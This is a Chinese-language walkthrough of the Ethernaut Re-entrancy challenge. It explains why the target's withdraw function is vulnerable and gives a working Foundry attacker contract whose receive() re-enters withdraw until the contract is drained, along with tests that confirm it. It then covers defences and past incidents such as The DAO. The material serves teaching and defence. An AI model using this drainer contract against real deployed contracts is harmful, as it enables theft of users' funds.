🎯 Ethernaut Level 10: Re-entrancy - 经典重入攻击详解
关卡链接 : Ethernaut Level 10 - Re-entrancy 攻击类型 : 重入攻击 (Reentrancy Attack)难度 : ⭐⭐⭐⭐☆历史影响 : The DAO 攻击事件 (2016年)
📋 挑战目标 这是智能合约安全领域最经典的攻击类型之一:
窃取合约资金 - 提取超过自己存款金额的以太币
理解重入原理 - 掌握状态更新时序问题
学习防护措施 - 了解如何编写安全的提款函数
🔍 漏洞分析 合约源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.6.12; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } // 🚨 漏洞函数 function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { balances[msg.sender] -= _amount; // ❌ 状态更新在外部调用之后 } } } }
漏洞识别 重入攻击的根本原因是 检查-效果-交互 (CEI) 模式的违反:
1 2 3 4 5 6 7 8 9 10 11 12 13 function withdraw(uint _amount) public { // ✅ 检查 (Check) if(balances[msg.sender] >= _amount) { // ❌ 交互 (Interaction) - 过早进行外部调用 (bool result,) = msg.sender.call{value:_amount}(""); if(result) { // ❌ 效果 (Effect) - 状态更新太晚 balances[msg.sender] -= _amount; } } }
攻击原理
恶意合约存款 - 向目标合约存入少量资金
调用提款函数 - 触发 withdraw()
函数
接收回调 - 在 call
执行时触发恶意合约的 receive()
函数
递归调用 - 在状态更新前再次调用 withdraw()
重复提取 - 由于余额未更新,可以多次提取资金
攻击流程图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 用户调用 withdraw(1 ether) ↓ 检查 balances[attacker] >= 1 ether ✅ ↓ 发送 1 ether 到攻击者合约 ↓ 攻击者合约的 receive() 被触发 ↓ 再次调用 withdraw(1 ether) ↓ 检查 balances[attacker] >= 1 ether ✅ (余额未更新!) ↓ 再次发送 1 ether... ↓ 如此重复,直到合约余额耗尽
💻 Foundry 实现 攻击合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/Reentrance.sol"; contract ReentrancyAttacker { Reentrance public target; uint public amount; constructor(address _target) { target = Reentrance(_target); } function attack() external payable { amount = msg.value; // 步骤1: 先存入一些资金建立余额 target.donate{value: amount}(address(this)); // 步骤2: 开始重入攻击 target.withdraw(amount); } // 重入攻击的核心 - receive函数 receive() external payable { if (address(target).balance >= amount) { // 递归调用withdraw,实现重入 target.withdraw(amount); } } function getBalance() public view returns (uint) { return address(this).balance; } } contract ReentranceTest is Test { Reentrance public reentrance; ReentrancyAttacker public attacker; address public user1 = makeAddr("user1"); address public user2 = makeAddr("user2"); address public attackerAddr = makeAddr("attacker"); function setUp() public { // 部署目标合约 reentrance = new Reentrance(); // 给用户一些初始资金 vm.deal(user1, 10 ether); vm.deal(user2, 10 ether); vm.deal(attackerAddr, 2 ether); // 模拟正常用户存款 vm.prank(user1); reentrance.donate{value: 5 ether}(user1); vm.prank(user2); reentrance.donate{value: 5 ether}(user2); // 部署攻击合约 vm.prank(attackerAddr); attacker = new ReentrancyAttacker(address(reentrance)); } function testReentrancyAttack() public { uint256 contractBalanceBefore = address(reentrance).balance; uint256 attackerBalanceBefore = attackerAddr.balance; console.log("合约余额 (攻击前):", contractBalanceBefore); console.log("攻击者余额 (攻击前):", attackerBalanceBefore); // 执行重入攻击 vm.prank(attackerAddr); attacker.attack{value: 1 ether}(); uint256 contractBalanceAfter = address(reentrance).balance; uint256 attackerBalanceAfter = attacker.getBalance(); console.log("合约余额 (攻击后):", contractBalanceAfter); console.log("攻击者余额 (攻击后):", attackerBalanceAfter); // 验证攻击成功 assertEq(contractBalanceAfter, 0); assertGt(attackerBalanceAfter, 1 ether); // 获得超过投入的资金 } function testReentrancyDetails() public { vm.prank(attackerAddr); // 记录每次withdraw调用 vm.recordLogs(); attacker.attack{value: 1 ether}(); // 验证攻击者的余额记录 assertEq(reentrance.balanceOf(address(attacker)), 0); // 最终余额为0 assertEq(address(reentrance).balance, 0); // 合约被掏空 } }
运行测试 1 2 3 4 forge test --match-contract ReentranceTest -vvv
🛡️ 防御措施 1. CEI 模式 (Check-Effects-Interactions) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 contract SecureReentrance { mapping(address => uint) public balances; function withdraw(uint _amount) public { // ✅ 检查 (Check) require(balances[msg.sender] >= _amount, "Insufficient balance"); // ✅ 效果 (Effect) - 先更新状态 balances[msg.sender] -= _amount; // ✅ 交互 (Interaction) - 最后进行外部调用 (bool success,) = msg.sender.call{value: _amount}(""); require(success, "Transfer failed"); } }
2. 重入锁 (Reentrancy Guard) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract ReentrancyGuarded { bool private locked; mapping(address => uint) public balances; modifier noReentrant() { require(!locked, "Reentrant call"); locked = true; _; locked = false; } function withdraw(uint _amount) public noReentrant { require(balances[msg.sender] >= _amount, "Insufficient balance"); balances[msg.sender] -= _amount; (bool success,) = msg.sender.call{value: _amount}(""); require(success, "Transfer failed"); } }
3. 使用 OpenZeppelin 的 ReentrancyGuard 1 2 3 4 5 6 7 8 9 10 11 12 13 import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract SafeContract is ReentrancyGuard { mapping(address => uint) public balances; function withdraw(uint _amount) public nonReentrant { require(balances[msg.sender] >= _amount, "Insufficient balance"); balances[msg.sender] -= _amount; (bool success,) = msg.sender.call{value: _amount}(""); require(success, "Transfer failed"); } }
4. 使用 transfer() 而非 call() 1 2 3 4 5 6 7 // ⚠️ 有限防护(不推荐作为唯一防护措施) function withdraw(uint _amount) public { require(balances[msg.sender] >= _amount, "Insufficient balance"); balances[msg.sender] -= _amount; payable(msg.sender).transfer(_amount); // 限制 Gas 为 2300 }
📚 核心知识点 1. 重入攻击类型
类型
描述
示例
单函数重入
攻击同一个函数
本关卡的 withdraw()
跨函数重入
攻击不同函数
withdraw()
→ transfer()
跨合约重入
攻击不同合约
DeFi 协议间的复杂重入
2. Gas 限制对比 1 2 3 4 5 // transfer/send: 2300 gas (不足以进行重入) payable(msg.sender).transfer(amount); // call: 转发所有剩余 gas (可能导致重入) (bool success,) = msg.sender.call{value: amount}("");
3. 状态更新时序 1 2 3 4 5 6 7 8 9 10 11 12 13 // ❌ 错误模式 function vulnerable() public { require(condition); // Check externalCall(); // Interaction (危险!) updateState(); // Effect (太晚了) } // ✅ 正确模式 function secure() public { require(condition); // Check updateState(); // Effect (先更新状态) externalCall(); // Interaction (安全) }
🏛️ 历史案例 The DAO 攻击 (2016年6月)
损失 : 360万 ETH (当时价值约6000万美元)
原因 : splitDAO 函数存在重入漏洞
后果 : 以太坊硬分叉,产生 ETH 和 ETC
教训 : 重入攻击的破坏性和防护重要性
其他著名案例
Cream Finance (2021) - 1.3亿美元损失
bZx Protocol (2020) - 多次重入攻击
Uniswap V1 (早期版本) - 理论漏洞
🎯 总结 重入攻击是智能合约安全的基石知识:
✅ 理解 CEI 模式的重要性
✅ 掌握多种防护措施的使用
✅ 认识状态管理的关键性
✅ 学习历史案例的教训
重入攻击看似简单,但其变种和组合形式在现代 DeFi 协议中仍然是主要威胁。掌握其原理和防护措施是每个智能合约开发者的必修课。
🔗 相关链接
安全的合约不仅要做正确的事,还要以正确的顺序做事。 🔐